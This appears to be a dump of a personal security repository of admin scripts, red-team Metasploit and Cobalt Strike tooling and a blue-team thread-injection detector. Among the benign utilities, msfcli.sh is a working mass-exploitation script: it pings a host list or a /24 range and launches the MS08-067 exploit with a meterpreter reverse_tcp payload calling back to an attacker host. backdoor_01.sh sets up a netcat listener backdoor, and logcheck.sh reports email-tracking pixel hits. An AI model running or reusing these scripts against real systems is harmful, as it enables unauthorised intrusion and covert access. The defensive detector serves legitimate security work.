├── .gitignore ├── README ├── bash ├── .bash_aliases ├── .vimrc ├── apt-install.sh ├── backdoor_01.sh ├── check-vpn.sh ├── gitpublish.sh ├── keepalive.sh ├── msfcli.sh ├── ovs_v1.sh ├── spinningcursor.sh └── update.sh ├── batch ├── logcheck.sh ├── loopArchive.bat ├── outputTextSid.bat └── shells.vbs ├── blue-team ├── Get-InjectedThread.ps1 ├── LoopThroughSystems.ps1 ├── RunMultipleSystemsCommand.ps1 ├── checklist.txt ├── firewall.bat ├── nostrike.txt └── random_notes.txt ├── demo ├── README.md ├── fuzz.py └── vuln.c ├── html └── randompage.html ├── powershell ├── filesearch.ps1 └── mouseclick.ps1 ├── python ├── MACAddrScanner.py ├── PortScanner.py ├── PortScanner.py~ ├── browser.py ├── ctf_botnet.py ├── ctf_v1 ├── driveSearch.py ├── findReplace.py ├── hostAlive.py ├── listfport.py ├── msfautopwn.py ├── permissions ├── permissions~ ├── regex.py ├── regex.py~ ├── service_scoring.py ├── testing.py └── userAndSID.txt └── red-team ├── aggressor ├── admin.cna ├── attacks.cna ├── beacon_initial.cna ├── killparents.ps1 └── persistence.cna ├── bash ├── 1 ├── targets.sh └── wmicCopyExecute.sh ├── f_with_blue.txt └── msf ├── README ├── auto_post.rc ├── autoruncommands.rc ├── initial_access.rc ├── ms08_auto.rc ├── psexec_auto.rc └── psexec_to_beacon.rc /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | red-team/aggressor/beacon_initial.cna 3 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Scripts I've written or modified. 2 | 3 | The folders bash, batch, html, powershell, and python are self explanitory. They are mosty admin type tasks. 4 | 5 | The folders for blue and red teams are for CND and CNO. In the red-team folder are metasploit scripts and cobaltstrike's aggressor scripts. 6 | -------------------------------------------------------------------------------- /bash/.bash_aliases: -------------------------------------------------------------------------------- 1 | function apt-updater { 2 | apt-get update && 3 | apt-get dist-upgrade -Vy && 4 | apt-get autoremove -y && 5 | apt-get autoclean && 6 | apt-get clean 7 | } 8 | alias ping="ping -c1" 9 | alias b=byobu 10 | function xwin { 11 | xfce4-terminal --geometry 140x35-0+31 & 12 | xfce4-terminal --geometry 94x55+0-0 & 13 | xfce4-terminal --geometry 140x16-0-0 & 14 | } 15 | -------------------------------------------------------------------------------- /bash/.vimrc: -------------------------------------------------------------------------------- 1 | :syntax on 2 | set mouse-=a 3 | set foldmethod=marker 4 | set foldmarker=--------------------------------,################################ 5 | :nnoremap "=strftime("%c")PA -- 6 | :inoremap =strftime("%c") -- 7 | :nnoremap ATARGET -- POINTS -- STATUS--------------------------------################################ 8 | :inoremap TARGET -- POINTS -- STATUS--------------------------------################################ 9 | :nnoremap za 10 | :inoremap za 11 | -------------------------------------------------------------------------------- /bash/apt-install.sh: -------------------------------------------------------------------------------- 1 | apt install byobu -y 2 | apt install tor -y 3 | -------------------------------------------------------------------------------- /bash/backdoor_01.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rm -f /tmp/testfifo 3 | mkfifo /tmp/testfifo 4 | echo "Welcome to Chicago where the local time is `date`" 5 | function serve { 6 | echo "What do you want to see?" 7 | read command 8 | while true; do 9 | if [ "x$command" == "x" ]; then 10 | echo "please enter a command" 11 | elif [ "$command" == "list" ]; then 12 | ps -ef 13 | elif [ "$command" == "stat" ]; then 14 | netstat -i 15 | elif [ "$command" == "disk" ]; then 16 | df -h 17 | elif [ "$command" == "exit" ]; then 18 | break 19 | fi 20 | echo "What do you want to see?" 21 | read command 22 | done 23 | exit 24 | } 25 | cat /tmp/testfifo | /usr/local/bin/nc -l -p 31338 | serve > /tmp/testfifo 26 | echo "Thank you for flying Delta" 27 | -------------------------------------------------------------------------------- /bash/check-vpn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | SERVERIP=8.8.8.8 3 | RUNNING=2 4 | DATE=`date` 5 | pgrep openvpn && RUNNING=1 || RUNNING=0 6 | 7 | if [ $RUNNING = "0" ]; then 8 | conf=`ls /etc/openvpn/*.ovpn | sort -R | tail -n1` 9 | sudo openvpn --config $conf --ca /etc/openvpn/ca.rsa.2048.crt --crl-verify /etc/openvpn/crl.rsa.2048.pem --auth-user-pass /etc/openvpn/auth.txt & 10 | echo "$DATE Started openvpn" >> /var/log/irclogs/vpnstatus.log 11 | sleep 5 12 | curl ipinfo.io | egrep -A 3 \"ip\"\: >> /var/log/irclogs/vpnstatus.log 13 | else 14 | ping -c 3 $SERVERIP > /dev/null 2>&1 15 | if [ $? -ne 0 ]; then 16 | conf=`ls /etc/openvpn/*.ovpn | sort -R | tail -n1` 17 | sudo killall openvpn 18 | sleep 5 19 | sudo openvpn --config $conf --ca /etc/openvpn/ca.rsa.2048.crt --crl-verify /etc/openvpn/crl.rsa.2048.pem --auth-user-pass /etc/openvpn/auth.txt & 20 | echo "$DATE Restarted openvpn" >> /var/log/irclogs/vpnstatus.log 21 | sleep 5 22 | curl ipinfo.io | egrep -A 3 \"ip\"\: >> /var/log/irclogs/vpnstatus.log 23 | fi 24 | fi 25 | -------------------------------------------------------------------------------- /bash/gitpublish.sh: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # bash script to publish to github, for the lazy... 4 | # Created: 30 April 2016 Edited: 30 April 2016 5 | # Version 1.0 6 | ################################################# 7 | # If you are really lazy, then use an ssh key by 8 | # folling the directings on: 9 | # https://help.github.com/articles/generating-an-ssh-key/ 10 | # https://help.github.com/articles/changing-a-remote-s-url/ 11 | ################################################# 12 | 13 | git add . 14 | read -p "What do you want to say?`echo $'\n> '`" comment 15 | git commit -m "$comment" 16 | git push origin master 17 | -------------------------------------------------------------------------------- /bash/keepalive.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ## Keep traffic moving 3 | 4 | TARGET="8.8.8.8" 5 | 6 | while true; do 7 | date 8 | /bin/ping -c1 $TARGET | /bin/egrep "bytes from" 9 | sleep $1 10 | done 11 | -------------------------------------------------------------------------------- /bash/msfcli.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ### created by @jgaudard 4 | ### for educational use only 5 | ### Version 1.0 6 | 7 | #default values set 8 | EXPLOIT="windows/smb/ms08_067_netapi" 9 | PAYLOAD="windows/meterpreter/reverse_tcp" 10 | TARGETFILE="hosts.txt" 11 | LHOST="192.168.1.99" 12 | LPORT="443" 13 | MULTI="False" 14 | PING="/bin/ping -q -c1" 15 | FILE="True" 16 | NET="192.168.1" 17 | STARTRANGE="1" 18 | STOPRANGE="254" 19 | 20 | if [ "$1" == "" ] 21 | then 22 | echo "Usage ./msfcli.sh [options]" 23 | echo "Use -h or --help for more information" 24 | exit 0 25 | fi 26 | 27 | while [ "$1" != "" ]; do 28 | case $1 in 29 | -h|--help) 30 | echo "Usage ./msfcli.sh [options]" 31 | echo "" 32 | echo "-h, --help you are looking at it" 33 | echo "-e, --exploit [EXPLOIT] set the exploit to use" 34 | echo "-p, --payload [PAYLOAD] set the payload to use" 35 | echo "-l, --lhost [LHOST] set the local host" 36 | echo "-t, --targetfile [TARGETFILE] set to target file" 37 | echo "-m, --multi [value] starts a multi-handler in a new window" 38 | echo " default set to 'False'" 39 | echo "-f, --file [value] uses a list of hosts in a file" 40 | echo " default set to 'True'" 41 | echo "-n, --net [xxx.xxx.xxx] sets the network for a network" 42 | echo " requires -f False" 43 | echo "--default Set to accept default options" 44 | echo "" 45 | echo "Examples:" 46 | echo " ./msfcli.sh -t hosts.txt -l 192.168.1.100 -m True" 47 | 48 | 49 | exit 0 50 | ;; 51 | -e|--exploit) 52 | shift 53 | EXPLOIT=$1 54 | ;; 55 | -p|--payload) 56 | shift 57 | PAYLOAD=$1 58 | ;; 59 | -l|--lhost) 60 | shift 61 | LHOST=$1 62 | ;; 63 | -t|--targetfile) 64 | shift 65 | TARGETFILE=$1 66 | ;; 67 | -m|--multi) 68 | shift 69 | MULTI=$1 70 | ;; 71 | -f|--file) 72 | shift 73 | FILE=$1 74 | ;; 75 | -n|--net) 76 | shift 77 | NET=$1 78 | ;; 79 | * ) 80 | break 81 | ;; 82 | esac 83 | shift 84 | done 85 | 86 | 87 | # Starts a new terminal running the multi-handler. 88 | if [ "$MULTI" = "True" ] 89 | then 90 | gnome-terminal -x msfcli exploit/multi/handler payload=$PAYLAOD lhost=$LHOST lport=$LPORT E & 91 | sleep 15 92 | fi 93 | 94 | 95 | 96 | # this is the magic 97 | if [ "$FILE" == "True" ]; then 98 | for ip in $(cat $TARGETFILE) 99 | do 100 | $PING $ip &>/dev/null # Checks if the host is online first 101 | if [ $? -ne 0 ]; then 102 | echo "Host $ip is down" 103 | else 104 | #if it is, then we exploit it! 105 | echo "Using MS08_067 on $ip" 106 | msfcli $EXPLOIT PAYLOAD=$PAYLOAD rhost=$ip lhost=$LHOST lport=$LPORT DisablePayloadHandler=true E #&>/dev/null 107 | fi 108 | done 109 | else 110 | for ((octect=$STARTRANGE; octect<=$STOPRANGE; octect++)) 111 | do 112 | $PING $NET'.'$octect &>/dev/null # Checks if the host is online first 113 | if [ $? -ne 0 ]; then 114 | echo "Host $NET.$octect is down" 115 | else 116 | #if it is, then we exploit it! 117 | echo "Using MS08_067 on $NET.$octect" 118 | msfcli $EXPLOIT PAYLOAD=$PAYLOAD rhost=$NET'.'$octect lhost=$LHOST lport=$LPORT DisablePayloadHandler=true E #&>/dev/null 119 | fi 120 | done 121 | fi 122 | -------------------------------------------------------------------------------- /bash/ovs_v1.sh: -------------------------------------------------------------------------------- 1 | ## Openvswitch setup 2 | 3 | ovs-vsctl add-br internalnet0 4 | ovs-vsctl add-br extneralnet0 5 | 6 | ip tuntap add mode tap inet0-0 7 | ip tuntap add mode tap inet0-1 8 | ip tuntap add mode tap enet0-0 9 | ip tuntap add mode tap enet0-1 10 | 11 | ip link set inet0-0 up 12 | ip link set inet0-1 up 13 | ip link set enet0-0 up 14 | ip link set enet0-1 up 15 | 16 | ovs-vsctl add-port internalnet0 inet0-0 17 | ovs-vsctl add-port internalnet0 inet0-1 18 | ovs-vsctl add-port extneralnet0 enet0-0 19 | ovs-vsctl add-port extneralnet0 enet0-1 20 | 21 | 22 | -------------------------------------------------------------------------------- /bash/spinningcursor.sh: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Copied by @jgaudard :: I don't twitter much 3 | # Script to create rotating cursor, found on stackoverflow 4 | # Copied: 26 June 2016 Edited: 5 | # Version 1.0 6 | # http://stackoverflow.com/questions/12498304/using-bash-to-display-a-progress-working-indicator 7 | ################################################# 8 | 9 | ping -c 10 127.0.0.1 1> /dev/nul & 10 | pid=$! # Process Id of the previous running command 11 | 12 | spin='-\|/' 13 | 14 | i=0 15 | while kill -0 $pid 2>/dev/null 16 | do 17 | i=$(( (i+1) %4 )) 18 | printf "\r${spin:$i:1}" 19 | sleep .1 20 | done 21 | 22 | -------------------------------------------------------------------------------- /bash/update.sh: -------------------------------------------------------------------------------- 1 | # Updates using apt-get 2 | #Setting Color Variables 3 | 4 | Red='\033[0;31m' 5 | Black='\033[0;30m' 6 | Blue='\033[0;34m' 7 | Green='\033[0;32m' 8 | Cyan='\033[0;36m' 9 | Purple='\033[0;35m' 10 | Brown='\033[0;33m' 11 | LGray='\033[0;37m' 12 | DGray='\033[1;30m' 13 | Yellow='\033[1;33m' 14 | White='\033[1;37m' 15 | NC='\033[0m' # No Color 16 | 17 | 18 | echo 19 | echo -e "${Yellow}Running Update Script${NC}" 20 | echo 21 | echo 22 | echo -e "${White}[+] Running Update${NC}" 23 | echo 24 | apt-get update -y 25 | 26 | echo 27 | echo -e "${White}[+] Running Upgrade${NC}" 28 | echo 29 | apt-get upgrade -y 30 | 31 | echo 32 | echo -e "${White}[+] Running Dist-Upgrade${NC}" 33 | echo 34 | apt-get dist-upgrade -y 35 | 36 | echo 37 | echo -e "${White}[+] Running Autoremove${NC}" 38 | echo 39 | apt-get autoremove -y 40 | 41 | echo 42 | echo -e "${White}[+] Running Autoclean${NC}" 43 | echo 44 | apt-get autoclean -y 45 | 46 | echo 47 | echo -e "${Yellow}[*] Updating Complete${NC}" 48 | echo 49 | 50 | -------------------------------------------------------------------------------- /batch/logcheck.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cp /tmp/mailer.txt /tmp/newmail.txt # Create new email txt file. 4 | 5 | if [ ! -e /tmp/opened ] ; then #if there's no 'opened' file 6 | grep "track" /var/log/nginx/access.log > /tmp/opened # Search for the word track, since that is where the images are saved. 7 | cat /tmp/opened >> /tmp/newmail.txt 8 | ssmtp YOU@SOME.COM < /tmp/newmail.txt 9 | # and mail its contents 10 | else 11 | count=` comm -23 <(grep "track" /var/log/nginx/access.log) /tmp/opened | wc -l ` 12 | if [ $count -eq 0 ]; then 13 | echo "zero new entries ` date ` " >> /tmp/logcheck.log 14 | else 15 | comm -23 <(grep "track" /var/log/nginx/access.log) /tmp/opened >> /tmp/newmail.txt # adds new entries to email txt. 16 | ssmtp YOU@SOME.COM < /tmp/newmail.txt # it already exists and contains previous log entries. 17 | grep "track" /var/log/nginx/access.log > /tmp/opened # Update opened with new entries. 18 | fi 19 | fi 20 | 21 | rm /tmp/newmail.txt # Make sure shit is cleaned up. 22 | -------------------------------------------------------------------------------- /batch/loopArchive.bat: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Loop echos text to a file, archives it, then waits 3 minutes 4 | # Created: 13 July 2016 Edited: 5 | # Version 1.0 6 | ################################################# 7 | 8 | @ECHO OFF 9 | setlocal enabledelayedexpansion 10 | 11 | :start 12 | for /F "tokens=1-2 delims=:" %%x in ("%time%") do ( 13 | set /a starttime=%%x%%y 14 | ) 15 | 16 | echo testing > file1.txt REM doing things 17 | echo still testing > file2.txt REM and more things 18 | echo still more testing > file3.txt REM lots of work ya'no 19 | 20 | ping 127.0.0.1 -n 5 > nul REM wait 5 just to be safe 21 | 22 | "c:\program files\7-zip\7z.exe" a archive_%starttime%.zip file*.txt REM archive 23 | 24 | ping 127.0.0.1 -n 5 > nul REM wait 5 just to be safe 25 | 26 | del file*.txt /F REM delete your trash 27 | 28 | :wait 29 | for /F "tokens=1-2 delims=:" %%x in ("%time%") do ( 30 | set /a endtime=%%x%%y 31 | ) 32 | 33 | set /a difference=( !endtime! - !starttime! ) REM maths 34 | 35 | IF !difference! LSS 3 ( REM check ~3 minutes have passed 36 | ping 127.0.0.1 -n 30 >nul 37 | GOTO :wait 38 | ) ELSE GOTO :start 39 | -------------------------------------------------------------------------------- /batch/outputTextSid.bat: -------------------------------------------------------------------------------- 1 | @ECHO off 2 | 3 | REM 4 | REM Get user's SID and username. 5 | 6 | 7 | 8 | 9 | set _reg_query=reg query "hklm\software\microsoft\windows nt\currentversion\profilelist" 10 | set _find_sid=findstr -i "HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\profilelist\" 11 | 12 | FOR /f "tokens=7 delims=\" %%G IN ('%_reg_query% ^| %_find_sid%' ) DO ( 13 | reg query "hklm\software\microsoft\windows nt\currentversion\profilelist\%%G" | FOR /f "tokens=3 delims=\" %%X IN ('findstr -i ProfileImagePath') DO echo %%X %%G >> userAndSID.txt 14 | ) 15 | 16 | 17 | -------------------------------------------------------------------------------- /batch/shells.vbs: -------------------------------------------------------------------------------- 1 | set objShell = CreateObject("wscript.Shell") 2 | objShell.run "powershell.exe" 3 | objShell.run "cmd.exe" 4 | objShell.run "python" 5 | 6 | REM usage: wscript shells.vbs 7 | REM opens interactive shell, if installed (in the case of python). 8 | -------------------------------------------------------------------------------- /blue-team/Get-InjectedThread.ps1: -------------------------------------------------------------------------------- 1 | function Get-InjectedThread 2 | { 3 | <# 4 | 5 | .SYNOPSIS 6 | 7 | Looks for threads that were created as a result of code injection. 8 | 9 | .DESCRIPTION 10 | 11 | Memory resident malware (fileless malware) often uses a form of memory injection to get code execution. Get-InjectedThread looks at each running thread to determine if it is the result of memory injection. 12 | 13 | Common memory injection techniques that *can* be caught using this method include: 14 | - Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) 15 | - Reflective DLL Injection 16 | - Memory Module 17 | 18 | NOTE: Nothing in security is a silver bullet. An attacker could modify their tactics to avoid detection using this methodology. 19 | 20 | .NOTES 21 | 22 | Author - Jared Atkinson (@jaredcatkinson) 23 | 24 | .EXAMPLE 25 | 26 | ### Modified to allow PSRemoting 27 | PS > Invoke-Command -ComputerName $computer -FilePath Get-InjectedThread.ps1 28 | 29 | PS > Get-InjectedThread 30 | 31 | ProcessName : ThreadStart.exe 32 | ProcessId : 7784 33 | Path : C:\Users\tester\Desktop\ThreadStart.exe 34 | KernelPath : C:\Users\tester\Desktop\ThreadStart.exe 35 | CommandLine : "C:\Users\tester\Desktop\ThreadStart.exe" 36 | PathMismatch : False 37 | ThreadId : 14512 38 | AllocatedMemoryProtection : PAGE_EXECUTE_READWRITE 39 | MemoryProtection : PAGE_EXECUTE_READWRITE 40 | MemoryState : MEM_COMMIT 41 | MemoryType : MEM_PRIVATE 42 | BasePriority : 8 43 | IsUniqueThreadToken : False 44 | Integrity : MEDIUM_MANDATORY_LEVEL 45 | Privilege : SeChangeNotifyPrivilege 46 | LogonId : 999 47 | SecurityIdentifier : S-1-5-21-386661145-2656271985-3844047388-1001 48 | UserName : DESKTOP-HMTGQ0R\SYSTEM 49 | LogonSessionStartTime : 3/15/2017 5:45:38 PM 50 | LogonType : System 51 | AuthenticationPackage : NTLM 52 | BaseAddress : 4390912 53 | Size : 4096 54 | Bytes : {144, 195, 0, 0...} 55 | 56 | #> 57 | 58 | [CmdletBinding()] 59 | param 60 | ( 61 | 62 | ) 63 | 64 | foreach($proc in (Get-Process)) 65 | { 66 | if($proc.Id -ne 0 -and $proc.Id -ne 4) 67 | { 68 | Write-Verbose -Message "Checking $($proc.Name) [$($proc.Id)] for injection" 69 | foreach($thread in $proc.Threads) 70 | { 71 | Write-Verbose -Message "Thread Id: [$($thread.Id)]" 72 | 73 | $hThread = OpenThread -ThreadId $thread.Id -DesiredAccess THREAD_ALL_ACCESS 74 | if($hThread -ne 0) 75 | { 76 | $BaseAddress = NtQueryInformationThread -ThreadHandle $hThread 77 | $hProcess = OpenProcess -ProcessId $proc.Id -DesiredAccess PROCESS_ALL_ACCESS -InheritHandle $false 78 | 79 | if($hProcess -ne 0) 80 | { 81 | $memory_basic_info = VirtualQueryEx -ProcessHandle $hProcess -BaseAddress $BaseAddress 82 | $AllocatedMemoryProtection = $memory_basic_info.AllocationProtect -as $MemProtection 83 | $MemoryProtection = $memory_basic_info.Protect -as $MemProtection 84 | $MemoryState = $memory_basic_info.State -as $MemState 85 | $MemoryType = $memory_basic_info.Type -as $MemType 86 | 87 | if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE) 88 | { 89 | if($memory_basic_info.RegionSize.ToUInt64() -ge 0x400) 90 | { 91 | $buf = ReadProcessMemory -ProcessHandle $hProcess -BaseAddress $BaseAddress -Size 0x400 92 | } 93 | else 94 | { 95 | $buf = ReadProcessMemory -ProcessHandle $hProcess -BaseAddress $BaseAddress -Size $memory_basic_info.RegionSize 96 | } 97 | $proc = Get-WmiObject Win32_Process -Filter "ProcessId = '$($proc.Id)'" 98 | $KernelPath = QueryFullProcessImageName -ProcessHandle $hProcess 99 | $PathMismatch = $proc.Path.ToLower() -ne $KernelPath.ToLower() 100 | 101 | # check if thread has unique token 102 | try 103 | { 104 | $hThreadToken = OpenThreadToken -ThreadHandle $hThread -DesiredAccess TOKEN_QUERY 105 | 106 | if($hThreadToken -ne 0) 107 | { 108 | $SID = GetTokenInformation -TokenHandle $hThreadToken -TokenInformationClass 1 109 | $Privs = GetTokenInformation -TokenHandle $hThreadToken -TokenInformationClass 3 110 | $LogonSession = GetTokenInformation -TokenHandle $hThreadToken -TokenInformationClass 17 111 | $Integrity = GetTokenInformation -TokenHandle $hThreadToken -TokenInformationClass 25 112 | $IsUniqueThreadToken = $true 113 | } 114 | } 115 | catch 116 | { 117 | $hProcessToken = OpenProcessToken -ProcessHandle $hProcess -DesiredAccess TOKEN_QUERY 118 | 119 | if($hProcessToken -ne 0) 120 | { 121 | $SID = GetTokenInformation -TokenHandle $hProcessToken -TokenInformationClass 1 122 | $Privs = GetTokenInformation -TokenHandle $hProcessToken -TokenInformationClass 3 123 | $LogonSession = GetTokenInformation -TokenHandle $hProcessToken -TokenInformationClass 17 124 | $Integrity = GetTokenInformation -TokenHandle $hProcessToken -TokenInformationClass 25 125 | $IsUniqueThreadToken = $false 126 | } 127 | } 128 | 129 | $ThreadDetail = New-Object PSObject 130 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name ProcessName -Value $proc.Name 131 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name ProcessId -Value $proc.ProcessId 132 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name Path -Value $proc.Path 133 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name KernelPath -Value $KernelPath 134 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name CommandLine -Value $proc.CommandLine 135 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name PathMismatch -Value $PathMismatch 136 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name ThreadId -Value $thread.Id 137 | $ThreadDetail | Add-Member -MemberType NoteProperty -Name ThreadStartTime -Value $thread.StartTime 138 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name AllocatedMemoryProtection -Value $AllocatedMemoryProtection 139 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name MemoryProtection -Value $MemoryProtection 140 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name MemoryState -Value $MemoryState 141 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name MemoryType -Value $MemoryType 142 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name BasePriority -Value $thread.BasePriority 143 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name IsUniqueThreadToken -Value $IsUniqueThreadToken 144 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name Integrity -Value $Integrity 145 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name Privilege -Value $Privs 146 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name LogonId -Value $LogonSession.LogonId 147 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name SecurityIdentifier -Value $SID 148 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name UserName -Value "$($LogonSession.Domain)\$($LogonSession.UserName)" 149 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name LogonSessionStartTime -Value $LogonSession.StartTime 150 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name LogonType -Value $LogonSession.LogonType 151 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name AuthenticationPackage -Value $LogonSession.AuthenticationPackage 152 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name BaseAddress -Value $BaseAddress 153 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name Size -Value $memory_basic_info.RegionSize 154 | $ThreadDetail | Add-Member -MemberType Noteproperty -Name Bytes -Value $buf 155 | Write-Output $ThreadDetail 156 | } 157 | CloseHandle($hProcess) 158 | } 159 | } 160 | CloseHandle($hThread) 161 | } 162 | } 163 | } 164 | } 165 | 166 | function Get-LogonSession 167 | { 168 | <# 169 | .NOTES 170 | 171 | Author: Lee Christensen (@tifkin_) 172 | License: BSD 3-Clause 173 | Required Dependencies: None 174 | Optional Dependencies: None 175 | #> 176 | param 177 | ( 178 | [Parameter(Mandatory = $true)] 179 | [UInt32] 180 | $LogonId 181 | ) 182 | 183 | $LogonMap = @{} 184 | Get-WmiObject Win32_LoggedOnUser | %{ 185 | 186 | $Identity = $_.Antecedent | Select-String 'Domain="(.*)",Name="(.*)"' 187 | $LogonSession = $_.Dependent | Select-String 'LogonId="(\d+)"' 188 | 189 | $LogonMap[$LogonSession.Matches[0].Groups[1].Value] = New-Object PSObject -Property @{ 190 | Domain = $Identity.Matches[0].Groups[1].Value 191 | UserName = $Identity.Matches[0].Groups[2].Value 192 | } 193 | } 194 | 195 | Get-WmiObject Win32_LogonSession -Filter "LogonId = `"$($LogonId)`"" | %{ 196 | $LogonType = $Null 197 | switch($_.LogonType) { 198 | $null {$LogonType = 'None'} 199 | 0 { $LogonType = 'System' } 200 | 2 { $LogonType = 'Interactive' } 201 | 3 { $LogonType = 'Network' } 202 | 4 { $LogonType = 'Batch' } 203 | 5 { $LogonType = 'Service' } 204 | 6 { $LogonType = 'Proxy' } 205 | 7 { $LogonType = 'Unlock' } 206 | 8 { $LogonType = 'NetworkCleartext' } 207 | 9 { $LogonType = 'NewCredentials' } 208 | 10 { $LogonType = 'RemoteInteractive' } 209 | 11 { $LogonType = 'CachedInteractive' } 210 | 12 { $LogonType = 'CachedRemoteInteractive' } 211 | 13 { $LogonType = 'CachedUnlock' } 212 | default { $LogonType = $_.LogonType} 213 | } 214 | 215 | New-Object PSObject -Property @{ 216 | UserName = $LogonMap[$_.LogonId].UserName 217 | Domain = $LogonMap[$_.LogonId].Domain 218 | LogonId = $_.LogonId 219 | LogonType = $LogonType 220 | AuthenticationPackage = $_.AuthenticationPackage 221 | Caption = $_.Caption 222 | Description = $_.Description 223 | InstallDate = $_.InstallDate 224 | Name = $_.Name 225 | StartTime = $_.ConvertToDateTime($_.StartTime) 226 | } 227 | } 228 | } 229 | 230 | #region PSReflect 231 | 232 | function New-InMemoryModule 233 | { 234 | <# 235 | .SYNOPSIS 236 | 237 | Creates an in-memory assembly and module 238 | 239 | Author: Matthew Graeber (@mattifestation) 240 | License: BSD 3-Clause 241 | Required Dependencies: None 242 | Optional Dependencies: None 243 | 244 | .DESCRIPTION 245 | 246 | When defining custom enums, structs, and unmanaged functions, it is 247 | necessary to associate to an assembly module. This helper function 248 | creates an in-memory module that can be passed to the 'enum', 249 | 'struct', and Add-Win32Type functions. 250 | 251 | .PARAMETER ModuleName 252 | 253 | Specifies the desired name for the in-memory assembly and module. If 254 | ModuleName is not provided, it will default to a GUID. 255 | 256 | .EXAMPLE 257 | 258 | $Module = New-InMemoryModule -ModuleName Win32 259 | #> 260 | 261 | Param 262 | ( 263 | [Parameter(Position = 0)] 264 | [ValidateNotNullOrEmpty()] 265 | [String] 266 | $ModuleName = [Guid]::NewGuid().ToString() 267 | ) 268 | 269 | $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) 270 | $LoadedAssemblies = $AppDomain.GetAssemblies() 271 | 272 | foreach ($Assembly in $LoadedAssemblies) { 273 | if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { 274 | return $Assembly 275 | } 276 | } 277 | 278 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 279 | $Domain = $AppDomain 280 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 281 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 282 | 283 | return $ModuleBuilder 284 | } 285 | 286 | # A helper function used to reduce typing while defining function 287 | # prototypes for Add-Win32Type. 288 | function func 289 | { 290 | Param 291 | ( 292 | [Parameter(Position = 0, Mandatory = $True)] 293 | [String] 294 | $DllName, 295 | 296 | [Parameter(Position = 1, Mandatory = $True)] 297 | [string] 298 | $FunctionName, 299 | 300 | [Parameter(Position = 2, Mandatory = $True)] 301 | [Type] 302 | $ReturnType, 303 | 304 | [Parameter(Position = 3)] 305 | [Type[]] 306 | $ParameterTypes, 307 | 308 | [Parameter(Position = 4)] 309 | [Runtime.InteropServices.CallingConvention] 310 | $NativeCallingConvention, 311 | 312 | [Parameter(Position = 5)] 313 | [Runtime.InteropServices.CharSet] 314 | $Charset, 315 | 316 | [String] 317 | $EntryPoint, 318 | 319 | [Switch] 320 | $SetLastError 321 | ) 322 | 323 | $Properties = @{ 324 | DllName = $DllName 325 | FunctionName = $FunctionName 326 | ReturnType = $ReturnType 327 | } 328 | 329 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 330 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 331 | if ($Charset) { $Properties['Charset'] = $Charset } 332 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 333 | if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } 334 | 335 | New-Object PSObject -Property $Properties 336 | } 337 | 338 | function Add-Win32Type 339 | { 340 | <# 341 | .SYNOPSIS 342 | 343 | Creates a .NET type for an unmanaged Win32 function. 344 | 345 | Author: Matthew Graeber (@mattifestation) 346 | License: BSD 3-Clause 347 | Required Dependencies: None 348 | Optional Dependencies: func 349 | 350 | .DESCRIPTION 351 | 352 | Add-Win32Type enables you to easily interact with unmanaged (i.e. 353 | Win32 unmanaged) functions in PowerShell. After providing 354 | Add-Win32Type with a function signature, a .NET type is created 355 | using reflection (i.e. csc.exe is never called like with Add-Type). 356 | 357 | The 'func' helper function can be used to reduce typing when defining 358 | multiple function definitions. 359 | 360 | .PARAMETER DllName 361 | 362 | The name of the DLL. 363 | 364 | .PARAMETER FunctionName 365 | 366 | The name of the target function. 367 | 368 | .PARAMETER EntryPoint 369 | 370 | The DLL export function name. This argument should be specified if the 371 | specified function name is different than the name of the exported 372 | function. 373 | 374 | .PARAMETER ReturnType 375 | 376 | The return type of the function. 377 | 378 | .PARAMETER ParameterTypes 379 | 380 | The function parameters. 381 | 382 | .PARAMETER NativeCallingConvention 383 | 384 | Specifies the native calling convention of the function. Defaults to 385 | stdcall. 386 | 387 | .PARAMETER Charset 388 | 389 | If you need to explicitly call an 'A' or 'W' Win32 function, you can 390 | specify the character set. 391 | 392 | 